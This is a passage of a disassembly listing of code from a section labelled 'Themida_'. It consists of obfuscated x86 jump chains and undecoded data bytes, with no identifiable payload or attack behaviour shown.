		dd 0CF814E3Fh, 40F46F9Dh, 5606E7C1h, 2410C4BEh,	0E9F70140h
		dd 0FFFFE3BEh, 31240433h, 4332404h, 24248B24h, 9C240CD2h
		dd 0FED19FE9h, 44015DFFh, 48B0424h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	edi
		mov	edi, 4
		sub	edx, 11F50A9Ah
		jmp	loc_59BA9C
; ---------------------------------------------------------------------------
		db 29h,	0DAh, 0E9h
		dd 0FFFFB1F1h, 0A2CC3B0h, 0E234C404h, 4AE9332Ch, 55FFFED4h
		dd 0FFA741E9h, 4BB53FFh, 1000000h, 40E95BDDh, 87FFFFD0h
		dd 87D3F7D9h, 0FFE981D9h, 68FFFFFFh, 236Fh, 83240489h
		dd 3FE904ECh, 51FFFF68h, 0FF1202E9h, 243C89FFh,	0DA51CEBFh
		dd 2FE94731h, 89FFFF54h, 0B1E9240Ch, 5AFFFFD3h,	4EC8353h
		dd 0E9242489h, 0FFFF440Eh
; ---------------------------------------------------------------------------


loc_5A4E70:				; CODE XREF: Themida_:005956FFj
		sub	ebx, 0E2B5DAC9h
		mov	esi, ebx
		jmp	loc_59B8ED
; ---------------------------------------------------------------------------


loc_5A4E7D:				; CODE XREF: Themida_:005A3331j
		push	ebx
		mov	ebx, 77332894h
		jmp	loc_595C3A
; ---------------------------------------------------------------------------
		dd 0C104EBC1h, 0F38104E3h, 0D2493402h, 815BDD89h, 0D10A9FEDh
		dd 81CD0134h, 0D10A9FC5h, 6167E934h, 0EC83FFFFh, 24348904h
		dd 240FB951h, 0BB53754Fh, 2E1F1A83h, 789FE381h,	0D3F75C62h
		dd 0FF5696E9h, 4C481FFh, 81000000h, 4C3h, 4EB8300h, 5C241C87h
		dd 0FF5403E9h, 241C89FFh, 0B33F1FBBh, 0F2C38154h, 0C16AE90Eh
		dd 0EBC102EBh, 18DEE903h, 68ACFFFFh, 435Eh, 68240C89h
		dd 606Bh, 21E8E9h, 0D05EE900h, 6857FFFEh, 74FC530Ah, 0FF1229E9h
		dd 0E9E800FFh, 0FFFF2300h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 4
		add	edi, 61B0657Ch
		jmp	loc_592A4B
; ---------------------------------------------------------------------------


loc_5A4F4A:				; CODE XREF: Themida_:00599351j
		mov	[esp], eax
		mov	eax, 53F1997h
		dec	eax
		push	ebx
		mov	ebx, 2ECF0246h
		sub	eax, ebx
		pop	ebx
		jmp	loc_596693
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 15h
		dd 0E973BB58h, 1E0Dh, 6BF68146h, 972991Ch, 163CE9F1h, 535F0000h
		dd 34936851h, 2FE951D6h, 66FFFFE8h, 6824048Bh, 300Bh, 0FFF68CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A4F95:				; CODE XREF: Themida_:00591FF1j
		mov	esi, 0DAC37CEBh
		sub	edi, esi
		pop	esi
		mov	ecx, edi
		pop	edi
		xor	eax, ecx
		pop	ecx
		shl	eax, 2
		shl	eax, 7
		jmp	loc_59FF48
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 8D5B09C6h, 0FDB0E92Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A4FBA:				; CODE XREF: Themida_:00598203j
		pop	ebp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_592714
; ---------------------------------------------------------------------------


loc_5A4FC7:				; CODE XREF: Themida_:00596ADFj
		pop	ebp
		sub	ebp, ecx
		jmp	loc_5A294B
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812434h, 4, 41E6E957h, 0CE01FFFFh, 81C60159h, 0AD5CCCEEh
		dd 9BEE8157h, 582A5830h, 3304C683h, 34312434h, 24343324h
		dd 5024248Bh, 0BF57E089h, 521467DEh, 1437F781h,	0F7817567h
		dd 277373EDh, 3FB768h, 241C8900h, 0FFB8EEE9h, 0E95954FFh
		dd 0FFFFD6E0h, 9B6E181h, 0E981338Dh, 2026DBB8h,	159C829h
		dd 0EB84E9F8h, 0BD55FFFEh, 68A05DA3h, 815DEE29h, 372E8EEh
		dd 4FE95778h, 0F7FFFF36h, 0E99C241Ch, 0FFFFC1E4h
; ---------------------------------------------------------------------------


loc_5A505C:				; CODE XREF: Themida_:005A15A8j
		mov	edi, [esp]
		add	esp, 4
		sub	ecx, 0FFFFFFFFh
		push	ecx
		xchg	ecx, [esp]
		not	ecx
		xchg	ecx, [esp]
		pop	ecx
		shr	ecx, 6
		xor	ecx, 52284121h
		add	ecx, 0AF99BCE0h
		sub	edx, 2DF95BBCh
		add	edx, ecx
		add	edx, 2DF95BBCh
		pop	ecx
		push	edi
		mov	edi, 1ABF4E65h
		shr	edi, 8
		dec	edi
		not	edi
		sub	edi, 1
		shr	edi, 1
		push	eax
		mov	eax, 74FD1108h
		add	eax, 10D42A18h
		neg	eax
		add	eax, 1E302350h
		sub	eax, 186C47D4h
		xor	edi, eax
		pop	eax
		add	edx, edi
		pop	edi
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	72C0h
		mov	[esp], edi
		mov	edi, 7A954ED0h
		add	edi, 1F0B2227h
		jmp	loc_59513A
; ---------------------------------------------------------------------------
		db 5Ch
		dd 54241C89h, 0E9241C8Bh, 121Ch
; ---------------------------------------------------------------------------


loc_5A50F4:				; CODE XREF: Themida_:005A0119j
		sub	esi, edx
		pop	edx
		push	ebp
		mov	ebp, 59C12DE0h
		neg	ebp
		push	7D0Eh
		mov	[esp], ecx
		push	edx
		sub	esp, 4
		jmp	loc_598D35
; ---------------------------------------------------------------------------


loc_5A5113:				; CODE XREF: Themida_:005A5A66j
		pop	esi
		add	edx, edi
		add	edx, 682403EAh
		jmp	loc_59C0D9
; ---------------------------------------------------------------------------
aQh		db 'Qh',0Bh,0Ah,0
		dw 8900h
		dd 4812424h, 424h, 0C1815900h, 4, 2B12BD55h, 0ED8120D0h
		dd 20D02B0Eh, 0E95DE901h, 0FFFF5A66h, 8D511A68h, 0DAF75A1Ah
		dd 106ACA81h, 814A45DCh, 3FCA10F2h, 5AD789D8h, 815FFA29h
		dd 0AE4957C2h, 1CC28109h, 290F8C36h, 1CEA81C2h,	810F8C36h
		dd 0AE4957EAh, 0E68CE909h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A5186:				; CODE XREF: Themida_:005A2F18j
		mov	[esp], eax
		mov	eax, 7A3D7D81h
		and	eax, 53A12423h
		jmp	loc_59C4C1
; ---------------------------------------------------------------------------
		dd 5C241487h, 0B5240C89h, 47E9503Eh, 55FFFF63h,	9F1669BDh
		dd 0A8F58142h, 454AD400h, 4A40F581h, 0EA0177D5h, 0E3C1815Dh
		dd 108BD79h, 0E3E981D1h, 5A08BD79h, 8B240C87h, 0F9F62424h
		dd 0CCB60F66h, 613E68h,	24348900h, 0FEFA38E9h, 0B95155FFh
		dd 731C1E07h, 0FFA13BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A51F1:				; CODE XREF: Themida_:0059D465j
		pop	esp
		movsx	ecx, al
		push	edi
		sub	esp, 4
		mov	[esp], esp
		push	esi
		mov	esi, 4
		add	[esp+4], esi
		jmp	loc_59572F
; ---------------------------------------------------------------------------


loc_5A520E:				; CODE XREF: Themida_:0059DC35j
		mov	esi, edx
		pop	edx
		mov	ecx, esi
		jmp	loc_59A6AC
; ---------------------------------------------------------------------------


loc_5A5218:				; CODE XREF: Themida_:005A3A3Ej
		mov	edx, 7C327522h
		add	ebx, edx
		pop	edx
		add	ebx, ebp
		sub	ebx, 7C327522h
		pop	ebp
		sub	ebx, 63673DA9h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	ebx, 1F013137h
		sub	ebx, 21D54B8h
		add	ebx, eax
		add	ebx, 21D54B8h
		add	ebx, 1F013137h
		push	esi
		jmp	loc_5969A2
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 243C8B24h, 81E78957h, 4C7h, 4C78300h, 112AE9h, 81C60100h
		dd 0C45830C6h, 0B850582Eh, 4, 5886C681h, 0C6017CBAh, 0FF4680E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A5289:				; CODE XREF: Themida_:005A2ABAj
		push	eax
		jmp	loc_59A87C
; ---------------------------------------------------------------------------


loc_5A528F:				; CODE XREF: Themida_:0059507Aj
		mov	eax, 4
		sub	ecx, 41A873ABh
		add	ecx, eax
		push	edi
		mov	edi, 43E50151h
		jmp	loc_59FEA9
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 240C8700h, 0E95B585Ch,	0FFFF198Bh, 2BA52h, 0D5890000h
		dd 82C1815Ah, 812EC154h, 146BF9C1h, 0E472E96Ah,	815BFFFEh
		dd 0FFFFFFEDh, 0CAC581FFh, 89D460FEh, 242C8BE8h, 5004C483h
		dd 1233E9h, 0EF816600h,	8B6625B9h, 0B5E92404h, 5CFFFEE0h
		dd 33756850h, 51587975h, 0FF1DABE9h, 5A555AFFh,	0FEE941E9h
		dd 554C68FFh, 1C890000h, 685B5424h, 49C5h, 0E9240C89h
		dd 0FFFEEF99h
; ---------------------------------------------------------------------------


loc_5A5328:				; CODE XREF: Themida_:00595723j
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		pop	edx
		pop	ebp


loc_5A5336:				; CODE XREF: Themida_:00595C42j
					; Themida_:0059C409j
		push	dword ptr [edi+24h]
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	1A72h
		mov	[esp], ebp
		push	eax
		jmp	loc_5A22DF
; ---------------------------------------------------------------------------
		db 68h,	27h, 2
		dd 0C890000h, 0E9E18924h, 0FFFF1AB1h, 0FECBF3E9h, 3094BEFFh
		dd 0A9E96AC1h, 5FFFFF55h, 8704C283h, 0E95C2414h, 0FFFFA611h
		dd 0DFE9E289h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A539B:				; CODE XREF: Themida_:005A2140j
		push	eax
		jmp	loc_59A000
; ---------------------------------------------------------------------------
		db 81h,	0E7h, 0E8h
		dd 0F7294D49h, 0A8C781DFh, 899B0A7Fh, 0EB815FFBh, 3F871FA8h
		dd 0FFDBFEE9h, 8A2D5FFFh, 0FF6DB24Bh, 0E9592434h, 0FFFEDE19h
		dd 0E9F02859h, 0FFFEEC80h, 5C240C87h, 68242C89h, 2C8Eh
		dd 24048F54h, 4BE56h, 74010000h, 348B0424h, 4C48124h, 0E9000000h
		dd 0FFFF7B89h, 0E9240C89h, 0FFFECB6Ch, 8304C483h, 343304EEh
		dd 0A7F3E924h, 34FFFFFFh, 240C8B24h, 8104C483h,	4C4h, 4EC8100h
		dd 89000000h, 99BD242Ch, 81C921B5h, 0BB5E32C1h,	6964E97Ah
		dd 34FFFFFFh, 24148B24h, 4EC81h, 0C890000h, 4EC8124h, 0E9000000h
		dd 0FFFF01E0h
; ---------------------------------------------------------------------------


loc_5A5454:				; CODE XREF: Themida_:005A3052j
		mov	[esp], esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_599350
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0CAFEE930h, 0C381FFFEh, 4, 2474FF53h, 630DE904h, 0CF81FFFFh
		dd 4700310Dh, 0FED17BE9h, 4C481FFh, 4000000h, 0B508E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A549A:				; CODE XREF: Themida_:0059F296j
		add	cl, 91h
		sub	cl, 0E8h
		mov	al, cl
		pop	ecx
		jmp	loc_5A063C
; ---------------------------------------------------------------------------
		dd 33242C31h, 0FF5C242Ch, 0C8E92434h, 8BFFFF03h, 0CFF2424h
		dd 0B8E99C24h, 50FFFED7h, 405E089h, 83000000h, 48704E8h
		dd 34895C24h, 0E0895024h, 405h,	4E88300h, 0E9240487h, 0FFFED38Fh
		dd 81242489h, 42404h, 835E0000h, 0C8904ECh, 0E150E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A54FE:				; CODE XREF: Themida_:005A416Fj
		mov	eax, 1BC40B1Ah
		jmp	loc_5A6533
; ---------------------------------------------------------------------------


loc_5A5508:				; CODE XREF: Themida_:005A4D4Aj
		xor	edi, esi
		mov	esi, [esp]
		add	esp, 4
		inc	edi
		jmp	loc_594E27
; ---------------------------------------------------------------------------
		dw 5B66h
		dd 0C7808D2Ch, 80C728B5h, 34FFB5EFh, 96E95824h,	29FFFF48h
		dd 0EF815EF7h, 73D64AC1h, 0C781EF29h, 73D64AC1h, 0FEDDE7E9h
		dd 81E189FFh, 4C1h, 3FBE5600h, 0F72C097Eh, 81D6F7D6h, 552EBCEh
		dd 4EEC150h, 0EE81D6F7h, 0F83F280Ch, 875EF101h,	555C240Ch
		dd 0FF5B47E9h, 240489FFh, 5624048Bh, 0FFA6C3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A557D:				; CODE XREF: Themida_:005A3B3Bj
		add	ebp, 4
		jmp	loc_599429
; ---------------------------------------------------------------------------
		dd 25D8F793h, 7F757328h, 0FF129AE9h, 5DEA89FFh,	4EC81h
		dd 2C890000h, 0F8BB5324h, 0BD136D6Ch, 46116097h, 295BDD31h
		dd 559E9E8h, 555EFFFFh,	468h, 0EE015D00h, 5D54555Dh, 4C581h
		dd 0F5E90000h, 57FFFF14h, 0C348E068h, 97E95F10h, 8BFFFF4Eh
		dd 0C4812434h, 4, 1F61EB81h, 0EC836AFFh, 24348904h, 0FFFD88E9h
		dd 80D928FFh, 835B48C1h, 1C8904ECh, 0FA88E924h,	0E95EFFFEh
		dd 0FFFF8A77h, 405h, 935E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A5616:				; CODE XREF: Themida_:005A04B2j
		sub	ecx, 5B402CB2h
		jmp	loc_59CC54
; ---------------------------------------------------------------------------
		db 0FEh, 0CFh, 0F6h
		dd 64DDE9D7h, 2D5DFFFFh, 4, 88DE950h, 295FFFFFh, 74B951EBh
		dd 109E84Bh, 2C8B59CBh,	4C48324h, 0E930FF66h, 0FFFEC920h
		dd 0B4E9D0F7h
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A5657:				; CODE XREF: Themida_:005A3777j
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		push	670D50BCh
		pop	ecx
		shl	ecx, 8
		not	ecx
		inc	ecx
		push	esi
		jmp	loc_5A4BAE
; ---------------------------------------------------------------------------
		db 33h,	34h, 24h
		dd 0FFE410E9h, 54CE68FFh, 14890000h, 0B7685024h, 89000061h
		dd 0EBE2434h, 5620DE17h, 5E2414F7h, 7877CE81h, 0F68103A5h
		dd 0DFA5F8F5h, 895E5856h, 24048BC2h, 104C483h, 24148BD3h
		dd 8704C483h, 248B241Ch, 0D0E0E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A56BE:				; CODE XREF: Themida_:005A4B4Cj
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 65785863h
		push	edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_5A1804
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 34FFDF01h, 8EE95B24h, 33FFFEF4h, 665C240Ch, 53240C89h
		dd 1CBF6851h, 1C890000h, 0B1B4B724h, 8BF9305Ch,	0C483241Ch
		dd 0CC2BE904h, 8166FFFEh, 6675A7C3h, 0C0B70F5Dh, 45226866h
		dd 24048966h, 0FF8F51E9h, 241C87FFh, 0E924248Bh, 0FFFEC830h
		dd 0E904E7C0h, 0FFFF9CDEh, 24048B66h, 4EC81h, 14890000h
		dd 815A5424h, 4C2h, 0A3685500h,	8900002Fh, 90682434h, 5E309920h
		dd 0E957464Eh, 0FFFED682h
; ---------------------------------------------------------------------------


loc_5A5774:				; CODE XREF: Themida_:0059B8A7j
		xor	esi, [esp]
		mov	esp, [esp]
		add	edi, 4
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_597AA8
; ---------------------------------------------------------------------------
		dw 1489h
		dd 14696824h, 2C890000h, 0FB4E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A57AA:				; CODE XREF: Themida_:0059D1ABj
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		add	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_596591
; ---------------------------------------------------------------------------


loc_5A57C0:				; CODE XREF: Themida_:005A16D2j
		mov	ebx, edx
		jmp	loc_5A6648
; ---------------------------------------------------------------------------
		db 0FFh
		dd 835D2434h, 0F00104C4h, 76B868h, 0EFFDE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A57DA:				; CODE XREF: Themida_:00593D7Fj
		mov	[esp], ebx
		push	small 5A09h
		mov	[esp], ax
		jmp	loc_59CA1A
; ---------------------------------------------------------------------------
aZhy		db 'Zhy%',0
		align 10h
		dd 0E9240489h, 0FFFFC09Eh, 2F110BB8h, 11760577h, 0C309C237h
		dd 0FF8292E9h, 5AD588FFh, 66D1F580h, 9BB25253h,	0D700DFB7h
		dd 66FD205Ah, 0C0C5FE5Bh, 0F58004E5h, 0CC59E932h, 0C483FFFFh
		dd 0A7BAE904h, 34FFFFFFh, 0EC835824h, 24148904h, 0BD4AE954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A5842:				; CODE XREF: Themida_:005A0CD5j
		mov	ecx, 4
		jmp	loc_5A016C
; ---------------------------------------------------------------------------
		dd 739EBD55h, 6C011EEFh, 595D0424h, 0FFF4F2E9h,	0BC685DFFh
		dd 89000028h, 74FF2434h, 0BCE90424h, 51FFFF44h,	6D42F1B9h
		dd 0CDC7E970h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A587A:				; CODE XREF: Themida_:00591FE2j
		mov	[esp], ecx
		xchg	eax, [esp]
		not	eax
		xchg	eax, [esp]
		push	dword ptr [esp]
		jmp	loc_59C274
; ---------------------------------------------------------------------------


loc_5A588D:				; CODE XREF: Themida_:005965A6j
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		jmp	loc_5A36C0
; ---------------------------------------------------------------------------


loc_5A589F:				; CODE XREF: Themida_:0059AD4Ej
		push	edx
		mov	edx, esp
		add	edx, 4
		push	edi
		jmp	loc_592572
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0C93DE924h, 48FFFFEh, 4E95C24h, 0FFFFFF9Fh, 83582434h
		dd 3C8904ECh, 535F5424h, 0DB4E1BBBh, 0EECB8166h, 8135C135h
		dd 465030C3h, 0F3BD5516h, 0C1264E23h, 0C8E908E5h
		db 0F5h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A58EB:				; CODE XREF: Themida_:005A0276j
		pop	esp
		mov	[esp], ecx
		jmp	loc_59E278
; ---------------------------------------------------------------------------
		dd 0D32FEB05h, 0EC835A51h, 24148904h, 0EC83E289h, 0D812E904h
		dd 0C8BFFFFh, 4C48324h,	0FFB6C2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A5915:				; CODE XREF: Themida_:0059BEBAj
		pop	edx
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		push	edx
		jmp	loc_59C311
; ---------------------------------------------------------------------------


loc_5A5925:				; CODE XREF: Themida_:005982E2j
		xchg	eax, [esp]
		jmp	loc_593E86
; ---------------------------------------------------------------------------


loc_5A592D:				; CODE XREF: Themida_:005A0266j
		add	eax, 5EE2FEDDh
		add	esi, eax
		mov	eax, [esp]
		jmp	loc_59C490
; ---------------------------------------------------------------------------
		dd 213FDFBFh, 5FFE0174h, 5970E95Ah, 34FFFFFFh, 0C4835924h
		dd 34606804h, 3C890000h, 8889BF24h, 0F8314B15h,	58C2295Fh
		dd 0FFEF6DE9h, 0E9D7F7FFh, 0E0Eh
; ---------------------------------------------------------------------------


loc_5A5970:				; CODE XREF: Themida_:005A041Cj
		pop	ecx
		pop	ecx
		push	esi
		mov	esi, 4
		sub	ebp, 72AA6170h
		add	ebp, esi
		push	esi
		mov	esi, 47AF436Dh
		not	esi
		jmp	loc_5A0072
; ---------------------------------------------------------------------------
		db 89h,	0CBh, 59h
		dd 9C06E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A5996:				; CODE XREF: Themida_:0059C48Bj
		push	27836D97h
		pop	ebx
		push	46D3h
		mov	[esp], edx
		mov	edx, 74EA236Dh
		add	edx, 0FFFFFFFFh
		dec	edx
		push	edi
		mov	edi, 0
		sub	edi, edx
		xchg	edi, edx
		pop	edi
		jmp	loc_5A43FF
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0C381E389h, 4, 8704C383h, 515C241Ch,	0CD80C7B5h, 0CB5DE980h
		dd 2E68FFFFh, 89000005h, 0E0892404h, 0CE83E952h, 8B66FFFEh
		dd 0EC83240Ch, 24348904h, 0FEE897E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A59F9:				; CODE XREF: Themida_:0059707Cj
		xor	[esp], ebp
		jmp	loc_595F2B
; ---------------------------------------------------------------------------


loc_5A5A01:				; CODE XREF: Themida_:005961B5j
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 3C895C24h, 4BF24h, 0FA290000h, 74FF525Fh, 8F5A0424h
		dd 0E95C2404h, 0FFFFE8A6h, 0E92434FFh, 0FFFEFDD5h, 0E95DE801h
		dd 0FFFF3A35h, 0C15DE921h, 0C00B00E9h, 3FF840Fh, 0FD68FFFFh
		dd 8900002Ah, 0BB53241Ch, 0DB71B33h, 4245C31h, 0FE61E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A5A5E:				; CODE XREF: Themida_:0059BAA2j
		push	esi
		mov	esi, 682403EAh
		sub	edx, esi
		jmp	loc_5A5113
; ---------------------------------------------------------------------------


loc_5A5A6B:				; CODE XREF: Themida_:0059F2EEj
		add	al, bl
		pop	ebx
		sub	dh, al
		pop	eax
		push	ebx
		push	ecx
		jmp	loc_5A2D12
; ---------------------------------------------------------------------------
		dd 461D43B8h, 734E939h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A5A82:				; CODE XREF: Themida_:005A4B18j
		add	edx, 9641CBBh
		add	edx, eax
		jmp	loc_59DD07
; ---------------------------------------------------------------------------


loc_5A5A8F:				; CODE XREF: Themida_:005A6504j
		mov	ecx, 30FA2367h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_595390
; ---------------------------------------------------------------------------
		dw 0C9E9h
		dd 8BFFFEC4h, 0EE812424h, 67122454h, 2006EE81h,	0EE810B2Bh
		dd 3BC449D4h, 0C681FE01h, 3BC449D4h, 2006C681h,	0C6810B2Bh
		dd 67122454h, 5F2434FFh, 4C481h, 0C6810000h, 2,	31243433h
		dd 17E92434h, 56FFFFD4h, 0F5E9E689h, 0B6FFFEEFh, 66F7001Ch
		dd 8AC5805Ah, 0ED80FD28h, 0E184E98Ah
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A5B06:				; CODE XREF: Themida_:005A605Dj
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	4EC8h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_59F211
; ---------------------------------------------------------------------------
		dw 835Fh
		dd 0E6E904C4h
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A5B3F:				; CODE XREF: Themida_:0059A52Bj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_596EE7
; ---------------------------------------------------------------------------
		db 5Bh,	2 dup(59h)
		dd 7F93BE56h, 0F681637Bh, 133162FCh, 73FEEE81h,	0AAE9132Bh
		dd 0FFFFFEE5h, 815A2434h, 4C4h,	0C3EAE900h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A5B86:				; CODE XREF: Themida_:005A20A8j
		add	ebp, esi
		push	dword ptr [esp]
		jmp	loc_599182
; ---------------------------------------------------------------------------
		dd 746268h, 242C8900h, 470667BDh, 2994E953h, 478FFFFFh
		dd 0C3C6E940h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A5BAA:				; CODE XREF: Themida_:005A1957j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_599F28
; ---------------------------------------------------------------------------


loc_5A5BB9:				; CODE XREF: Themida_:00598844j
		mov	edx, 4
		add	ebp, edx
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_59802D
; ---------------------------------------------------------------------------
		db 81h
		dd 5E2929F6h, 0E6D14E10h, 380BC681h, 0F6812688h, 10A708Ah
		dd 0FEE6E2E9h, 24248BFFh, 1B1868h, 243C8900h, 2DE9E789h
		dd 59FFFFF3h, 3F7ED81h,	0E9292D7Ah, 19B8E95Dh, 0CE01FFFFh
		dd 7AB26859h, 4890000h,	483BE924h, 0DA29FFFFh, 0F1E3E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A5C1E:				; CODE XREF: Themida_:0059E3A0j
		add	esp, 4
		push	esi
		push	4
		jmp	loc_59FC0D
; ---------------------------------------------------------------------------
		db 89h
		dd 0BE92404h, 1FFFFA5h,	24348BF3h, 8804C483h, 241C8B2Bh
		dd 4EC81h, 2C890000h, 815D5424h, 4C5h, 4C58300h, 0E9242C33h
		dd 0FFFFF848h
; ---------------------------------------------------------------------------


loc_5A5C60:				; CODE XREF: Themida_:00598B56j
		and	ecx, edx
		jmp	loc_598F56
; ---------------------------------------------------------------------------
		db 66h
		dd 9309E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A5C6E:				; CODE XREF: Themida_:0059FA64j
		xor	edx, 71010CC9h
		sub	ebp, edx
		pop	edx
		add	ebp, 1C3D9839h
		mov	eax, ebp
		pop	ebp
		sub	dword ptr [esp+4], 1D2E761Fh
		add	[esp+4], eax
		push	4F83h
		jmp	loc_5A3AA6
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 0F230E904h, 95B8FFFEh, 16EA670h, 0BE5658C1h,	10484EA2h
		dd 0FF9185E9h, 0F58145FFh, 32626DEBh, 0F73ED81h, 22E90E4Dh
		dd 8BFFFFD9h, 0E9522414h, 0FFFF1E30h, 81240C89h, 4ECh
		dd 24148900h, 0B639B353h, 2306E9DAh, 8B66FFFFh,	99E92424h
		dd 83FFFFE0h, 0EC8104C4h, 4, 0B8240489h, 36DA0307h, 48636805h
		dd 58C53107h, 42CCC581h, 0E831E172h, 5D2434FFh,	4D3D68h
		dd 243C8900h, 0B9515F54h, 7BBB4961h, 5304E9C1h,	444B6EBBh
		dd 5BD901F8h, 0FFB2BAE9h, 241C89FFh, 8904EC83h,	0F1BE2434h
		dd 81224F4Ch, 2F0A1BE6h, 0D809E915h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A5D4A:				; CODE XREF: Themida_:0059BED7j
		push	1CDB6DA6h
		pop	edx
		push	edi
		mov	edi, 0F425A28h
		jmp	loc_5A44D9
; ---------------------------------------------------------------------------
		db 58h
		dd 5A2434FFh, 33EE68h, 24348900h, 0C681E689h, 4, 8704C683h
		dd 2C5C2434h, 4C80095h,	0C8B6695h, 2C48124h, 0E9000000h
		dd 0FFFFE5E3h, 4BEh, 8BF70100h,	14E92434h, 0E9FFFF81h
		dd 0FFFEC1D0h, 4C681h, 0EE810000h, 4, 5C243487h, 0B9240C89h
		dd 59F41B2Fh, 0E1D14949h, 0FF15BDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A5DC1:				; CODE XREF: Themida_:005A2601j
		mov	esp, [esp]
		sub	eax, 7A3B7328h
		sub	eax, ebx
		add	eax, 7A3B7328h
		pop	ebx
		xor	ebx, eax
		push	dword ptr [eax]
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A5DDA:				; CODE XREF: Themida_:005959C0j
		push	ecx
		mov	ecx, esp
		push	4D6Eh
		mov	[esp], ebx
		mov	ebx, 7D1C174Ch
		sub	ebx, 507E107Ah
		or	ebx, 60E21FBAh
		xor	ebx, 6CFE1FFEh
		add	ecx, ebx
		pop	ebx
		jmp	loc_59E7A1
; ---------------------------------------------------------------------------


loc_5A5E04:				; CODE XREF: Themida_:0059E65Cj
		add	edx, edi
		push	dword ptr [edx]
		sub	esp, 4
		mov	[esp], ebp
		push	4D1Ch
		mov	[esp], edx
		mov	edx, 4EFC76EAh
		sub	edx, 17D060F2h
		mov	ebp, edx
		pop	edx
		xor	[esp+4], ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5A604E
; ---------------------------------------------------------------------------
		db 89h
